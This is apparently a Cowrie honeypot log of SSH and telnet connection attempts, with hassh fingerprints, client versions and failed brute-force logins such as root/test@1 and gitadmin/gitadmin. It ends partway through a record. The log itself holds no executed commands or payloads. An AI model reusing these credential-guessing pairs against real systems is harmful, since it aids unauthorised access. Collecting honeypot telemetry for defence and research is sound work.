{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:36.649508Z","src_ip":"159.203.92.129","session":"9e088b2f2247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Soyoun","password":"korea2020","message":"login attempt [Soyoun/korea2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:36.832042Z","src_ip":"159.203.92.129","session":"9e088b2f2247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:37.961770Z","src_ip":"159.203.92.129","session":"9e088b2f2247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"48.217.232.171","src_port":45146,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8c0bb1e3bc4","protocol":"telnet","message":"New connection: 48.217.232.171:45146 (10.17.0.5:23) [session: e8c0bb1e3bc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:43.020789Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":60632,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7bab088142f","protocol":"ssh","message":"New connection: 80.94.92.186:60632 (159.203.135.109:22) [session: a7bab088142f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:44.414097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:44.624938Z","src_ip":"80.94.92.186","session":"a7bab088142f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:44.629117Z","src_ip":"80.94.92.186","session":"a7bab088142f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"jito","message":"login attempt [sol/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:45.734407Z","src_ip":"80.94.92.186","session":"a7bab088142f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:46.898613Z","src_ip":"80.94.92.186","session":"a7bab088142f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":52146,"dst_ip":"159.203.135.109","dst_port":22,"session":"bde112f0b222","protocol":"ssh","message":"New connection: 170.79.37.88:52146 (159.203.135.109:22) [session: bde112f0b222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:55.711190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:55.715778Z","src_ip":"170.79.37.88","session":"bde112f0b222","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:55.821835Z","src_ip":"170.79.37.88","session":"bde112f0b222","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vboxadmin","password":"admin","message":"login attempt [vboxadmin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:56.282145Z","src_ip":"170.79.37.88","session":"bde112f0b222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:59:57.390273Z","src_ip":"170.79.37.88","session":"bde112f0b222","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.989082098007202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:00:14.009754Z","src_ip":"48.217.232.171","session":"e8c0bb1e3bc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45322,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bfe2cee1219","protocol":"ssh","message":"New connection: 159.203.92.129:45322 (159.203.135.109:22) [session: 2bfe2cee1219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:00:30.042248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:00:30.578440Z","src_ip":"159.203.92.129","session":"2bfe2cee1219","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:00:30.584694Z","src_ip":"159.203.92.129","session":"2bfe2cee1219","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Soyoun","password":"korea2021","message":"login attempt [Soyoun/korea2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:00:31.733800Z","src_ip":"159.203.92.129","session":"2bfe2cee1219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:00:33.485412Z","src_ip":"159.203.92.129","session":"2bfe2cee1219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":48928,"dst_ip":"159.203.135.109","dst_port":22,"session":"83f9d2c9aef3","protocol":"ssh","message":"New connection: 170.79.37.88:48928 (159.203.135.109:22) [session: 83f9d2c9aef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:00:36.152344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:00:36.157777Z","src_ip":"170.79.37.88","session":"83f9d2c9aef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:00:36.258251Z","src_ip":"170.79.37.88","session":"83f9d2c9aef3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitadmin","password":"gitadmin","message":"login attempt [gitadmin/gitadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:00:36.697785Z","src_ip":"170.79.37.88","session":"83f9d2c9aef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:00:37.808408Z","src_ip":"170.79.37.88","session":"83f9d2c9aef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00989699363708,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:00:51.692211Z","src_ip":"144.124.192.106","session":"d48e9300d694","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.124.192.106","src_port":28234,"dst_ip":"159.203.135.109","dst_port":23,"session":"f68137cdcb8f","protocol":"telnet","message":"New connection: 144.124.192.106:28234 (159.203.135.109:23) [session: f68137cdcb8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:00:53.248361Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52154,"dst_ip":"159.203.135.109","dst_port":22,"session":"92632d39f273","protocol":"ssh","message":"New connection: 159.203.92.129:52154 (159.203.135.109:22) [session: 92632d39f273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:01:14.434555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:01:14.471289Z","src_ip":"159.203.92.129","session":"92632d39f273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:01:14.475583Z","src_ip":"159.203.92.129","session":"92632d39f273","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Soyoun","password":"korea2022","message":"login attempt [Soyoun/korea2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:01:15.044734Z","src_ip":"159.203.92.129","session":"92632d39f273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:01:16.317733Z","src_ip":"159.203.92.129","session":"92632d39f273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":40464,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b2fe46eb9f9","protocol":"ssh","message":"New connection: 170.79.37.88:40464 (159.203.135.109:22) [session: 7b2fe46eb9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:01:22.523510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:01:22.528135Z","src_ip":"170.79.37.88","session":"7b2fe46eb9f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:01:22.627008Z","src_ip":"170.79.37.88","session":"7b2fe46eb9f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@1","message":"login attempt [root/test@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:01:23.054285Z","src_ip":"170.79.37.88","session":"7b2fe46eb9f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:01:24.160521Z","src_ip":"170.79.37.88","session":"7b2fe46eb9f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43932,"dst_ip":"159.203.135.109","dst_port":22,"session":"6839ac7faba0","protocol":"ssh","message":"New connection: 159.203.92.129:43932 (159.203.135.109:22) [session: 6839ac7faba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:01:56.547338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:01:56.563619Z","src_ip":"159.203.92.129","session":"6839ac7faba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk